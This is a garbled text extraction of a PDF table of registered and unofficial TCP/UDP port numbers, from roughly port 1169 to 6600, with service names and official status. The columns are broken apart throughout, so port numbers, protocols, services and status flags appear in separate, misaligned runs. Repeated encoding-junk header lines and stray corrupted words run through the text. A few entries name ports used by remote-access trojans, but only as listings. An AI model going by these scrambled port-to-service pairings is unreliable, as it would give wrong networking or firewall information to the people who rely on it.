EasyBits School
network discovery
UDP
protocol (for Intel's
CMPC platform)
TCP UDP AutoNOC protocol
phone, conference
UDP
calling

W 


Status
Official
Unofficial
Unofficial
Unofficial
Official

Official
Official
Official
Official
Official
Official
Official
Unofficial

Unofficial
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

1169

TCP UDP

1176

TCP

1182

TCP UDP

1194

TCP UDP

1198

TCP UDP

1200

TCP

1200

UDP

1200
1214
1217

UDP
TCP
TCP

1220

TCP

1223

TCP UDP

W 


Tripwire
Official
Perceptive Automation
Indigo Home
Official
automation server
AcceleNet Intelligent
Official
Transfer Protocol
OpenVPN
Official
The cajo project Free
dynamic transparent
Official
distributed computing in
Java
scol, protocol used by
SCOL 3D virtual worlds
server to answer world Official
name resolution client
request
scol, protocol used by
SCOL 3D virtual worlds
server to answer world Official
name resolution client
request
Steam Friends Applet Unofficial
Kazaa
Official
Uvora Online
Unofficial
QuickTime Streaming
Official
Server administration
TGP, TrulyGlobal
Protocol, also known as
"The Gur Protocol"
Official
(named for Gur Kimchi
of TrulyGlobal)

KDW>dWKZdd/>^

,WdZ

1234

UDP

1236

TCP

1241

TCP UDP

1270

TCP UDP

1293

TCP UDP

1301

TCP

1309

TCP

1311

TCP

1313
1319
1319
1337
1337

TCP
TCP
UDP

1337

TCP

UDP
TCP

W 


VLC media player


Default port for
UDP/RTP stream
Symantec BindView
Control UNIX Default
port for TCP
management server
connections
Nessus Security
Scanner
Microsoft System
Center Operations
Manager (SCOM)
(formerly Microsoft
Operations Manager
(MOM)) agent
IPSec (Internet Protocol
Security)
Palmer Performance
OBDNet
Altera Quartus jtagd
Dell OpenManage
HTTPS
Xbiim (Canvii server)
AMX ICSP
AMX ICSP
Men and Mice DNS
Men and Mice DNS
PowerFolder P2P
Encrypted File
Synchronization

Unofficial

Unofficial

Official

Official

Official
Unofficial
Unofficial
Official
Unofficial
Official
Official
Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

1337

TCP

1352

TCP

1387

TCP UDP

1414

TCP

1417
1418
1419
1420

TCP
TCP
TCP
TCP

1431

TCP

1433

TCP

W 


UDP
UDP
UDP
UDP

Program
WASTE Encrypted File
Unofficial
Sharing Program
IBM Lotus
Notes/Domino (RPC) Official
protocol
cadsi-lm, LMS
International (formerly
Computer Aided Design Official
Software, Inc.
(CADSI)) LM
IBM WebSphere MQ
(formerly known as
Official
MQSeries)
Timbuktu Service 1 Port Official
Timbuktu Service 2 Port Official
Timbuktu Service 3 Port Official
Timbuktu Service 4 Port Official
Reverse Gossip
Transport Protocol
(RGTP), used to access
a General-purpose
Reverse-Ordered Gossip
Official
Gathering System
(GROGGS) bulletin
board, such as that
implemented on the
Cambridge University's
Phoenix system
MSSQL (Microsoft
SQL Server database
Official
management system)

KDW>dWKZdd/>^

,WdZ

1434

TCP UDP

1470

TCP

1494

TCP

1500

TCP

1501

UDP

1503

TCP UDP

1512

TCP UDP

1513

TCP UDP

1521

TCP

1521

TCP

W 


Server
MSSQL (Microsoft
SQL Server database
management system)
Monitor
Solarwinds Kiwi Log
Server
Citrix XenApp
Independent Computing
Architecture (ICA) thin
client protocol
NetGuard GuardianPro
firewall (NT4-based)
Remote Management
NetGuard GuardianPro
firewall (NT4-based)
Authentication Client
Windows Live
Messenger (Whiteboard
and Application
Sharing)
Microsoft Windows
Internet Name Service
(WINS)
Garena Garena Gaming
Client
nCube License Manager
Oracle database default
listener, in future
releases official port
2483

Official

Official

Official

Unofficial

Unofficial

Unofficial

Official
Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

1524

TCP UDP

1526

TCP

1527

TCP

1533

TCP

1547

TCP UDP

1550
1581

UDP

1589

UDP

1627

1645

TCP UDP

1646

TCP UDP

1666

TCP

1677

TCP UDP

W 


ingreslock, ingres
Oracle database
common alternative for
listener
Apache Derby Network
Server default port
IBM Sametime IM
Virtual Places Chat
Microsoft SQL Server
Laplink
Gadu-Gadu (direct
client-to-client)
MIL STD 2045-47001
VMF
Cisco VQP (VLAN
Query Protocol) /
VMPS
iSketch
radius auth, RADIUS
authentication protocol
(default for Cisco and
Juniper Networks
RADIUS servers)
radius acct, RADIUS
authentication protocol
(default for Cisco and
Juniper Networks
RADIUS servers)
Perforce
Novell GroupWise
clients in client/server

Official
Unofficial
Unofficial
Official
Official
Unofficial
Official
Unofficial
Unofficial

Unofficial

Unofficial

Unofficial
Official

KDW>dWKZdd/>^

,WdZ

1688

TCP

1701

UDP

1707

TCP

1716

TCP

1719

UDP

1720

TCP

1723

TCP UDP

1725

UDP

1755

TCP UDP

1761
1761

UDP
TCP

1761

TCP

W 


access mode
Microsoft Key
Management Service
Unofficial
for KMS Windows
Activation
Layer 2 Forwarding
Protocol (L2F) & Layer
Official
2 Tunneling Protocol
(L2TP)
Romtoc Packet Protocol
(L2F) & Layer 2
Unofficial
Tunneling Protocol
(L2TP)
America's Army
Massively multiplayer Unofficial
online game (MMO)
H.323 Registration and
alternate
Official
communication
H.323 Call signalling
Official
Microsoft Point-to-Point
Tunneling Protocol
Official
(PPTP)
Valve Steam Client
Unofficial
Microsoft Media
Services (MMS, msOfficial
streaming)
cft-0
Official
cft-0
Official
Novell Zenworks
Unofficial
Remote Control utility

KDW>dWKZdd/>^

,WdZ

1762
TCP UDP
1768
1801

TCP UDP

1812

TCP UDP

1813

TCP UDP

1863

TCP

1883

TCP UDP

1886

TCP

1900

UDP

1920

TCP

1935

TCP

1947

TCP UDP

W 


cft-1 to cft-7
Microsoft Message
Queuing
radius, RADIUS
authentication protocol
radacct, RADIUS
accounting protocol
MSNP (Microsoft
Notification Protocol),
used by the .NET
Messenger Service and
a number of Instant
Messaging clients
MQ Telemetry
Transport (MQTT),
formerly known as
MQIsdp (MQSeries
SCADA protocol)
Leonardo over IP
Pro2col Ltd
Microsoft SSDP
Enables discovery of
UPnP devices
IBM Tivoli Monitoring
Console (https)
Adobe Systems
Macromedia Flash Real
Time Messaging
Protocol (RTMP)
"plain" protocol
SentinelSRM (hasplm),

Official
Official
Official
Official

Official

Official

Unofficial
Official
Unofficial

Official

Official

KDW>dWKZdd/>^

,WdZ

1967

UDP

1970

TCP UDP

1971

TCP UDP

1972 TCP UDP


1975
UDP
1977
1984

TCP

1985

UDP

1994

TCP UDP

1997

TCP

1998

TCP UDP

2000

TCP UDP

2001

UDP

2002

TCP

2030
W 


Aladdin HASP License


Manager
Cisco IOS IP Service
Level Agreements (IP Unofficial
SLAs) Control Protocol
Netop Business
Solutions Netop Remote Official
Control
Netop Business
Official
Solutions Netop School
InterSystems Cach
Official
Cisco TCO
Official
(Documentation)
Big Brother System and
Official
Network Monitor
Cisco HSRP
Official
Cisco STUN-SDLC
(Serial Tunneling
Official
Synchronous Data Link
Control) protocol
Chizmo Networks
Unofficial
Transfer Tool
Cisco X.25 over TCP
Official
(XOT) service
Cisco SCCP (Skinny) Official
CAPTAN Test Stand
Unofficial
System
Secure Access Control
Server (ACS) for
Unofficial
Windows
Oracle Services for
Unofficial

KDW>dWKZdd/>^

,WdZ

2031

TCP UDP

2041

TCP

2049
2049

UDP
UDP

2053

UDP

2053

TCP

2053

TCP

2056

UDP

2073

TCP UDP

2074

TCP UDP

2082

TCP

2082

TCP

2083

TCP

2083
2086

TCP
TCP

2086

TCP

2087

TCP

W 


Microsoft Transaction
Server
mobrienchat(http://chat.mobrien
.com:2031)
Mail.Ru Agent
communication protocol
Network File System
shilp
lot105-ds-upd Lot105
DSuper Updates
lot105-ds-upd Lot105
DSuper Updates
knetd Kerberos demultiplexor
Civilization 4
multiplayer
DataReel Database
Vertel VMF SA (i.e.
App.. SpeakFreely)
Infowave Mobility
Server
CPanel default
Secure Radius Service
(radsec)
CPanel default SSL
GNUnet
WebHost Manager
default
WebHost Manager

Official
Unofficial
Official
Official
Official
Official
Unofficial
Unofficial
Official
Official
Official
Unofficial
Official
Unofficial
Official
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

2095

TCP

2096

TCP

2102

TCP UDP

2103

TCP UDP

2104

TCP UDP

2105

TCP UDP

2105

TCP UDP

2105

TCP UDP

2144

TCP

2145

TCP

2156
W 


UDP

default SSL
CPanel default Web
mail
CPanel default SSL
Web mail
zephyr-srv Project
Athena Zephyr
Notification Service
server
zephyr-clt Project
Athena Zephyr
Notification Service
serv-hm connection
zephyr-hm Project
Athena Zephyr
Notification Service
hostmanager
IBM MiniPay
eklogin Kerberos
encrypted remote login
(rlogin)
zephyr-hm-srv Project
Athena Zephyr
Notification Service
hm-serv connection
(should use port 2102)
Iron Mountain
LiveVault Agent
Iron Mountain
LiveVault Agent
Talari Reliable Protocol

Unofficial
Unofficial

Official

Official

Official
Official
Unofficial

Unofficial

UnOfficial
UnOfficial
Official

KDW>dWKZdd/>^

,WdZ

2160
2161

TCP
TCP

2181

TCP UDP

2190
2200

UDP
UDP

2210

UDP

2210

TCP

2210

TCP

2211
2211

UDP
TCP

2211

TCP

2212

UDP

2212

TCP

2212

TCP

2219
2220

TCP UDP
TCP UDP

2221

TCP

2222

TCP

W 


APC Agent
APC Agent
EForward-document
transport system
TiVoConnect Beacon
Tuxanci game server
NOAAPORT Broadcast
Network
NOAAPORT Broadcast
Network
MikroTik Remote
management for "The
Dude"
EMWIN
EMWIN
MikroTik Secure
management for "The
Dude"
LeeCO POS Server
Service
LeeCO POS Server
Service
Port-A-Pour Remote
WinBatch
NetIQ NCAP Protocol
NetIQ End2End
ESET Anti-virus
updates
DirectAdmin default &
ESET Remote

Official
Official
Official
Unofficial
Unofficial
Official
Official
Unofficial
Official
Official
Unofficial
Official
Official
Unofficial
Official
Official
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

2223

UDP

2261
2262

TCP UDP
TCP UDP

2301

TCP

2302

UDP

2302

UDP

2303

UDP

2305

UDP

2369

TCP

2370

TCP

W 


Administration
Microsoft Office OS X
antipiracy network
monitor
CoMotion Master
CoMotion Backup
HP System
Management Redirect
to port 2381
ArmA multiplayer
(default for game)
Halo: Combat Evolved
multiplayer
ArmA multiplayer
(default for server
reporting) (default port
for game +1)
ArmA multiplayer
(default for VoN)
(default port for game
+3)
Default for BMC
Software ControlM/Server
Configuration Agent,
though often changed
during installation
Default for BMC
Software ControlM/Serverto allow the
Control-M/Enterprise
Manager to connect to

Unofficial
Official
Official
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial

Official

Official

KDW>dWKZdd/>^

,WdZ

2379

TCP

2381

TCP

2401

TCP

2404

TCP

2420
2427

UDP
UDP

2447

TCP UDP

2483

TCP UDP

2484

TCP UDP

2500

TCP

W 


the Control-M/Server,
though often changed
during installation
KGS Go Server
HP Insight Manager
default for Web server
CVS version control
system
IEC 60870-5 -104, used
to send electric power
telecontrol messages
between two systems
via directly connected
data circuits
Westell Remote Access
Cisco MGCP
ovwdbOpenView
Network Node Manager
(NNM) daemon
Oracle database
listening for unsecure
client connections to the
listener, replaces port
1521
Oracle database
listening for SSL client
connections to the
listener
THESMESSENGER
listening for
ThesMessenger client
connections

Unofficial
Unofficial
Unofficial

Official

Official
Official
Official

Official

Official

Official

KDW>dWKZdd/>^

,WdZ

2501
2518
2525
2535
2546
2593

2598

2599
2610
2612

TheosNet-Admin
listening for
TCP
Official
ThesMessenger client
connections
TCP UDP Willy
Official
TCP
SMTP alternate
Unofficial
TCP
MADCAP
EVaultData
TCP UDP
Unofficial
Protection Services
RunUOUltima Online
TCP UDP
Unofficial
server
new ICAwhen
Session Reliability is
TCP
Unofficial
enabled, TCP port 2598
replaces port 1494
SonicWALL Antispam
traffic between Remote
TCP
Unofficial
Analyzer (RA) and
Control Center (CC)
TCP
Dark Ages
Unofficial
QPasa from
TCP UDP
Official
MQSoftware
TCP
Sybase database listener Unofficial
TCP
Solve Service
Official
TCP UDP Citel / MCK IVPIP
Official

2638
2636
2698
2700
TCP
2800
2710 TCP
2710
W 


KnowShowGo P2P

UDP

Official

XBT Bittorrent Tracker Unofficial


XBT Bittorrent Tracker
experimental UDP
Unofficial
tracker extension

KDW>dWKZdd/>^

,WdZ

2710
2735
2809

2809

2809
2868
2944
2945
2947
2948

2949
2967
3000
3000
3000

TCP
TCP UDP

Knuddels.de
Unofficial
NetIQ Monitor Console Official
corbaloc:iiop URL, per
TCP
the CORBA 3.0.3
Official
specification
IBM WebSphere
Application Server
TCP
Unofficial
(WAS) Bootstrap/rmi
default
corbaloc:iiop URL, per
UDP the CORBA 3.0.3
Official
specification.
Norman Proprietary
TCP UDP
Official
Event Protocol NPEP
UDP Megaco Text H.248
Unofficial
Megaco Binary (ASN.1)
UDP
Unofficial
H.248
TCP
gpsd GPS daemon
Official
WAP-push Multimedia
TCP UDP Messaging Service
Official
(MMS)
WAP-pushsecure
TCP UDP Multimedia Messaging Official
Service (MMS)
Symantec AntiVirus
TCP
Unofficial
Corporate Edition
TCP
Miralix License server Unofficial
Cloud9 Integrated
TCP
Development
Unofficial
Environment server
UDP Distributed Interactive Unofficial

W 


KDW>dWKZdd/>^

,WdZ

3000

TCP

3001

TCP

3001

TCP

3002
3003
3004
3005

TCP
TCP
TCP
TCP

3006

TCP

3007
3008

TCP
TCP

3017

TCP

3025
3030

TCP
TCP UDP

3050

TCP UDP

3051

TCP UDP

3052

TCP UDP

3074

TCP UDP

3100

TCP

W 


Simulation (DIS),
modifiable default
Ruby on Rails
development default
Miralix Phone Monitor
Opsware server
(Satellite)
Miralix CSTA
Miralix GreenBox API
Miralix InfoLink
Miralix TimeOut
Miralix SMS Client
Connector
Miralix OM Server
Miralix Proxy
Miralix IVR and
Voicemail
netpd.org
NetPanzer
gds_db
(Interbase/Firebird)
Galaxy Server
(Gateway Ticketing
Systems)
APC PowerChute
Network
Xbox LIVE and/or
Games for Windows LIVE
HTTP used by Tatsoft

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Official
Official
Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

3101

TCP

3128

TCP

3128

TCP

3225

TCP UDP

3233

TCP UDP

3235

TCP UDP

3260

TCP

3268

TCP UDP

3269

TCP UDP

3283

TCP

W 


as the default listen port


BlackBerry Enterprise
Server communication
to cloud
HTTP used by Web
caches and the default
for the Squid (software)
HTTP used by Tatsoft
as the default client
connection
FCIP (Fiber Channel
over Internet Protocol)
WhiskerControl
research control
protocol
Galaxy Network
Service (Gateway
Ticketing Systems)
iSCSI target
msft-gc, Microsoft
Global Catalog (LDAP
service which contains
data from Active
Directory forests)
msft-gc-ssl, Microsoft
Global Catalog over
SSL (similar to port
3268, LDAP over SSL)
Apple Remote Desktop
reporting (officially Net
Assistant, referring to
an earlier product)

Unofficial

Unofficial

Unofficial
Official
Official

Official
Official

Official

Official

Official

KDW>dWKZdd/>^

,WdZ

3299

TCP

3300

TCP UDP

3305

TCP UDP

3306

TCP UDP

3313

TCP

3333

TCP

3333

TCP

3386

TCP UDP

3389

TCP UDP

3396

TCP UDP

3412

TCP UDP

3455

TCP UDP

3423

TCP

W 


SAP-Router (routing
application proxy for
SAP R/3)
Debate Gopher backend
database system
odette-ftp, Odette File
Transfer Protocol
(OFTP)
MySQL database
system
Verisys - File Integrity
Monitoring Software
Network Caller ID
server
CruiseControl.rb[42]
GTP' 3GPP
GSM/UMTS CDR
logging protocol
Microsoft Terminal
Server (RDP) officially
registered as Windows
Based Terminal (WBT)
- Link
Novell NDPS Printer
Agent
xmlBlaster
[RSVP] Reservation
Protocol
Xware xTrm
Communication
Protocol

Unofficial
Unofficial
Official
Official
Unofficial
Unofficial
Unofficial
Official

Official

Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

3424

TCP

3478

TCP UDP

3483

UDP

3483

TCP

3516

TCP UDP

3527

UDP

3535
3537
3544
3605
3606
3632

TCP
TCP UDP
UDP
UDP
TCP UDP
TCP

3689

TCP

3690

TCP UDP

3702

TCP UDP

3723

TCP UDP

W 


Xware xTrm
Communication
Official
Protocol over SSL
STUN, a protocol for
Official
NAT traversal
Slim Devices discovery
Official
protocol
Slim Devices SlimProto
Official
protocol
Smartcard Port
Official
Microsoft Message
Official
Queuing
SMTP alternate
Unofficial
ni-visa-remote
Unofficial
Teredo tunneling
Official
ComCam IO Port
Official
Splitlock Server
Official
distributed compiler
Official
Digital Audio Access
Protocol (DAAP)used
Official
by $SSOHV iTunes and
AirPort Express
Subversion version
Official
control system
Web Services Dynamic
Discovery (WSOfficial
Discovery), used by
various components of
Windows Vista
Used by many
Unofficial
Battle.net Blizzard

KDW>dWKZdd/>^

,WdZ

3724

3724
3724
3784
3785
3800
3880
3868
3872
3899
3900
3945

3978
3979

games (Diablo II,


Warcraft II, Warcraft
III, StarCraft)
World of Warcraft
UDP Online gaming
MMORPG
World of Warcraft
TCP
Online gaming
MMORPG
Club Penguin Disney
TCP
online game for kids
Ventrilo VoIP program
TCP UDP
used by Ventrilo
Ventrilo VoIP program
UDP
used by Ventrilo
TCP
Used by HGG programs
TCP UDP IGRS
Diameter base protocol
TCP SCTP
(RFC 3588)
Oracle Management
TCP
Remote Agent
TCP
Remote Administrator
udt_os, IBM UniData
TCP
UDT OS
EMCADS service, a
TCP UDP Giritech product used
by G/On
OpenTTD game
TCP UDP (masterserver and
content service)
TCP UDP OpenTTD game

W 


Official

Official
Unofficial
Unofficial
Unofficial
Unofficial
Official
Official
Unofficial
Unofficial
Official
Official

Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

3999

TCP UDP

4000
4001

TCP UDP
TCP

4007

TCP

4018

TCP UDP

4069

UDP

4089

TCP UDP

4093

TCP UDP

4096

TCP UDP

4100
4111
4116

TCP
TCP UDP

4125

TCP

4172

TCP UDP

4201

TCP

4226
4224

TCP UDP
TCP

W 


Norman distributed
scanning service
Diablo II game
Microsoft Ants game
PrintBuzzer printer
monitoring socket
server
protocol information
and warnings
Minger Email Address
Verification Protocol
OpenCORE Remote
Control Service
PxPlus Client server
interface ProvideX
Ascom Timeplex BRE
(Bridge Relay Element)
WatchGuard
Authentication
Appletdefault
Xgrid
Smartcard-TLS
Microsoft Remote Web
Workplace
administration
Teradici PCoIP
TinyMUD and various
derivatives
Aleph One (game)
Cisco Audio Session

Official
Unofficial
Unofficial
Unofficial
Official
Official
Official
Official
Official
Unofficial
Official
Official
Unofficial
Official
Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

4321

TCP

4323
44334436

UDP
TCP

Axence nVision

4500

UDP

4534

UDP

4567

TCP

4569

UDP

4610
TCP
4640
4662

UDP

4662

TCP

4662

TCP

4664

TCP

4672

UDP

4711

TCP

4711

TCP

W 


Tunneling
Referral Whois
(RWhois) Protocol
Lincoln Electric's
ArcLink/XT

IPSec NAT Traversal


(RFC 3947)
Armagetron Advanced
default server port
Sinatra default server
port in development
mode (HTTP)
Inter-Asterisk eXchange
(IAX2)
QualiSystems TestShell
Suite Services
OrbitNet Message
Service
OrbitNet Message
Service
Default for older
versions of eMule
Google Desktop Search
Default for older
versions of eMule
eMule optional web
interface
McAfee Web Gateway
7 - Default GUI Port

Official
Unofficial
Unofficial
Official
Unofficial
Unofficial
Official
Unofficial
Official
Official
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

4712

TCP

4728

TCP

4747
4750

TCP
TCP

4840

TCP UDP

4843

TCP UDP

4847

TCP UDP

4894

TCP UDP

4899

TCP UDP

4949

TCP

4950

TCP UDP

W 


HTTP
McAfee Web Gateway
7 - Default GUI Port
HTTPS
Computer Associates
Desktop and Server
Management
(DMP)/Port Multiplexer
Apprentice
BladeLogic Agent
OPC UA TCP Protocol
for OPC Unified
Architecture from OPC
Foundation
OPC UA TCP Protocol
over TLS/SSL for OPC
Unified Architecture
from OPC Foundation
Web Fresh
Communication,
Quadrion Software &
Odorless Entertainment
LysKOM Protocol A
Radmin remote
administration tool
(program sometimes
used by a Trojan horse)
Munin Resource
Monitoring Tool
Cylon Controls UC32
Communications Port

Unofficial

Official
Unofficial
Unofficial
Official

Official

Official
Official
Official

Official
Official

KDW>dWKZdd/>^

,WdZ

4982

TCP UDP

4993

TCP UDP

5000

TCP

5000

TCP

5000
5000
5000
5001

TCP

5001

TCP

5001

TCP

UDP
UDP
TCP

5001

UDP

5002
5003

TCP
TCP UDP

5004

TCP

UDP,
DCCP

5005

TCP

UDP,
DCCP

W 


Solar Data Log (JK


client app for PV solar
inverters )
Home FTP Server web
Interface Default Port
commplex-main
UPnPWindows
network device
interoperability
VTunVPN Software
FlightGear multiplayer
VTunVPN Software
commplex-link
Slingbox and
Slingplayer
Iperf (Tool for
measuring TCP and
UDP bandwidth
performance)
Iperf (Tool for
measuring TCP and
UDP bandwidth
performance)
SOLICARD ARX
FileMaker
RTP (Real-time
Transport Protocol)
media data (RFC 3551,
RFC 4571)
RTP (Real-time
Transport Protocol)

Unofficial
Unofficial
Official
Unofficial
Unofficial
Unofficial
Unofficial
Official
Unofficial

Unofficial

Unofficial
Unofficial
Official
Official

Official

KDW>dWKZdd/>^

,WdZ

5029

TCP

5031

TCP UDP

5050

TCP

5051

TCP

5060

TCP UDP

5061

TCP

5070

TCP

5082

TCP UDP

W 


control protocol (RFC


3551, RFC 4571)
Sonic Robot Blast 2 :
Multiplayer
AVM CAPI-over-TCP
(ISDN over Ethernet
tunneling)
Yahoo! Messenger
ita-agent Symantec
Intruder Alert
Session Initiation
Protocol (SIP)
Session Initiation
Protocol (SIP) over TLS
Binary Floor Control
Protocol (BFCP),[51]
published as RFC 4582,
is a protocol that allows
for an additional video
channel (known as the
content channel)
alongside the main
video channel in a
video-conferencing call
that uses SIP. Also used
for Session Initiation
Protocol (SIP) preferred
port for PUBLISH on
SIP Trunk to Cisco
Unified Presence Server
(CUPS)
Qpur Communication

Unofficial
Unofficial
Unofficial
Official
Official
Official

Unofficial

Official

KDW>dWKZdd/>^

,WdZ

5083

TCP UDP

5084

TCP UDP

5085

TCP UDP

5093

UDP

5099

TCP UDP

5104

TCP

5106

TCP

5107

TCP

5108

TCP

5109

TCP UDP

5110
5121

TCP
TCP

5150

TCP UDP

5150

TCP UDP

W 


Protocol
Qpur File Protocol
Official
EPCglobal Low Level
Official
Reader Protocol (LLRP)
EPCglobal Low Level
Reader Protocol (LLRP) Official
over TLS
SafeNet, Inc Sentinel
LM, Sentinel RMS,
Official
License Manager,
Client-to-Server
SafeNet, Inc Sentinel
LM, Sentinel RMS,
Official
License Manager,
Server-to-Server
IBM Tivoli Framework
NetCOOL/Impact
Unofficial
HTTP Service
A-Talk Common
Unofficial
connection
A-Talk Remote server
Unofficial
connection
VPOP3 Mail Server
Unofficial
Webmail
VPOP3 Mail Server
Unofficial
Status
ProRat Server
Unofficial
Neverwinter Nights
Unofficial
ATMP Ascend Tunnel
Official
Management Protocol
Malware Cerberus RAT Unofficial

KDW>dWKZdd/>^

,WdZ

5151
5151
5154
5176
5190

5222

5223

5246

5247

5269

5298

TCP

ESRI SDE Instance


UDP ESRI SDE Remote Start
TCP UDP BZFlag
ConsoleWorks default
TCP
UI interface
ICQ and AOL Instant
TCP
Messenger
Extensible Messaging
and Presence Protocol
TCP
(XMPP) client
connection
Extensible Messaging
and Presence Protocol
TCP
(XMPP) client
connection over SSL
Control And
Provisioning of
UDP Wireless Access Points
(CAPWAP) CAPWAP
control
Control And
Provisioning of
UDP Wireless Access Points
(CAPWAP) CAPWAP
data
Extensible Messaging
and Presence Protocol
TCP
(XMPP) server
connection
Extensible Messaging
TCP UDP and Presence Protocol
(XMPP) JEP-0174:

W 


Official
Official
Official
Unofficial
Official

Official

Unofficial

Official

Official

Official

Official

KDW>dWKZdd/>^

,WdZ

5310

TCP UDP

5311

TCP UDP

5312

TCP UDP

5313

TCP UDP

5314

TCP UDP

5315

TCP UDP

5351

TCP UDP

5353

UDP

5355

TCP UDP

5357

TCP UDP

W 


Link-Local Messaging /
XEP-0174: Serverless
Messaging
Ginever.net data
communication port
Ginever.net data
communication port
Ginever.net data
communication port
Ginever.net data
communication port
Ginever.net data
communication port
Ginever.net data
communication port
NAT Port Mapping
Protocolclientrequested configuration
for inbound connections
through network
address translators
Multicast DNS (mDNS)
LLMNRLink-Local
Multicast Name
Resolution, allows hosts
to perform name
resolution for hosts on
the same local link
(only provided by
Windows Vista and
Server 2008)
Web Services for

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

Official

Official

Official

Unofficial

KDW>dWKZdd/>^

,WdZ

5358

TCP UDP

5402

TCP UDP

5405

TCP UDP

5412

TCP UDP

5421

TCP UDP

5432

TCP UDP

5433

TCP

5445

UDP

5450

TCP

5457

TCP

W 


Devices (WSDAPI)
(only provided by
Windows Vista,
Windows 7 and Server
2008)
WSDAPI Applications
to Use a Secure Channel
(only provided by
Unofficial
Windows Vista,
Windows 7 and Server
2008)
mftp, Stratacache
OmniCast content
Official
delivery system MFTP
file sharing protocol
NetSupport Manager
Official
IBM Rational Synergy
(Telelogic_Synergy)
Official
(Continuus CM)
Message Router
NetSupport Manager
Official
PostgreSQL database
Official
system
Bouwsoft file/webserver
<http://www.bouwsoft.b Unofficial
e>
Cisco Unified Video
Unofficial
Advantage
OSIsoft PI Server Client
Unofficial
Access
OSIsoft PI Asset
Unofficial
Framework Client

KDW>dWKZdd/>^

,WdZ

5458

TCP

5495

TCP

5498

TCP

5499

UDP

5500

TCP

5501

TCP

5517

TCP

5550

TCP

5555

TCP

5556

TCP UDP

5591

TCP

W 


Access
OSIsoft PI Notifications
Client Access
Applix TM1 Admin
server
Hotline tracker server
connection
Hotline tracker server
discovery
VNC remote desktop
protocolfor incoming
listening viewer,
Hotline control
connection
Hotline file transfer
connection
Setiqueue Proxy server
client for SETI@Home
project
Hewlett-Packard Data
Protector
Freeciv versions up to
2.0, Hewlett-Packard
Data Protector, McAfee
EndPoint Encryption
Database Server, SAP,
Default for Microsoft
Dynamics CRM 4.0
Freeciv
Default for Tidal
Enterprise Scheduler

Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial
Unofficial
Unofficial

Unofficial

Official
Unofficial

KDW>dWKZdd/>^

,WdZ

5631

TCP

5632

UDP

5656

TCP

5666
5667

TCP
TCP

5678

UDP

5721
5723
5741
5742

TCP UDP
TCP
TCP UDP
TCP UDP

5800

TCP

5814

TCP UDP

5850

TCP

W 


master-Socket used for


communication between
Agent-to-Master,
though can be changed
pcANYWHEREdata,
Symantec pcAnywhere
(version 7.52 and
later[56])[57] data
pcANYWHEREstat,
Symantec pcAnywhere
(version 7.52 and later)
status
IBM Sametime p2p file
transfer
NRPE (Nagios)
NSCA (Nagios)
Mikrotik RouterOS
Neighbor Discovery
Protocol (MNDP)
Kaseya
Operations Manager
IDA Discover Port 1
IDA Discover Port 2
VNC remote desktop
protocolfor use over
HTTP
Hewlett-Packard
Support Automation
(HP OpenView SelfHealing Services)
COMIT SE (PCR)

Official

Official

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Official
Official
Unofficial

Official
Unofficial

KDW>dWKZdd/>^

,WdZ

5852

TCP

5900

TCP UDP

5912

TCP

5938

TCP UDP

5984

TCP UDP

5999

TCP

6000

TCP

6001

6005

UDP

TCP

W 


Adeona client:
communications to
OpenDHT
Virtual Network
Computing (VNC)
remote desktop protocol
(used by Apple Remote
Desktop and others)
Default for Tidal
Enterprise Scheduler
agent-Socket used for
communication between
Master-to-Agent,
though can be changed
TeamViewer remote
desktop protocol
CouchDB database
server
CVSup file update tool
X11used between an
X client and server over
the network
X11used between an
X client and server over
the network
Default for BMC
Software ControlM/ServerSocket used
for communication
between Control-M
processesthough
often changed during

Unofficial

Official

Unofficial

Unofficial
Official
Official
Official

Official

Official

KDW>dWKZdd/>^

,WdZ

6005

TCP

6050

TCP

6050

TCP

6051

TCP

6072

TCP

6086

TCP

6100

TCP

6100

TCP

6101

TCP

6110

TCP UDP

6111

TCP UDP

6112

UDP

W 


installation
Default for Camfrog
Chat & Cam Client
http://www.camfrog.co
m
Brightstor Arcserve
Backup
Nortel Software
Brightstor Arcserve
Backup
iOperator Protocol
Signal Port
PDTPFTP like file
server in a P2P network
Vizrt System
Ventrilo This is the
authentication port that
must be allowed
outbound for version 3
of Ventrilo
Backup Exec Agent
Browser
softcm, HP Softbench
CM
spc, HP Softbench SubProcess Control
"dtspcd"a network
daemon that accepts
requests from clients to
execute commands and
launch applications

Unofficial

Unofficial
Unofficial
Unofficial
Unofficial
Official
Unofficial

Official

Unofficial
Official
Official

Official

KDW>dWKZdd/>^

,WdZ

6112

TCP

6112

TCP

6112

TCP

6113

TCP

6129

TCP

6257
6260

UDP
TCP UDP

6262

TCP

6343

UDP

6346

TCP UDP

6347

TCP UDP

6350

TCP UDP

W 


remotely
"dtspcd"a network
daemon that accepts
requests from clients to
execute commands and
launch applications
remotely
Blizzard's Battle.net
gaming service,
ArenaNet gaming
service, Relic gaming
sercive
Club Penguin Disney
online game for kids
Club Penguin Disney
online game for kids
DameWare Remote
Control
WinMX (see also 6699)
planet M.U.L.E.
Sybase Advantage
Database Server
SFlow, sFlow traffic
monitoring
gnutella-svc, gnutella
(FrostWire, Limewire,
Shareaza, etc.)
gnutella-rtr, Gnutella
alternate
App Discovery and
Access Protocol

Official

Unofficial

Unofficial
Unofficial
Official
Unofficial
Unofficial
Unofficial
Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

6389

TCP

6432

TCP

6444

TCP UDP

6445

TCP UDP

6502

TCP UDP

6503

UDP

6522

TCP

6523

TCP

6543

6566

UDP

TCP

6571
6600

TCP

6619

TCP UDP

W 


EMC CLARiiON
PgBouncer - A
connection pooler for
PostgreSQL
Sun Grid Engine
Qmaster Service
Sun Grid Engine
Execution Service
Netop Business
Solutions - NetOp
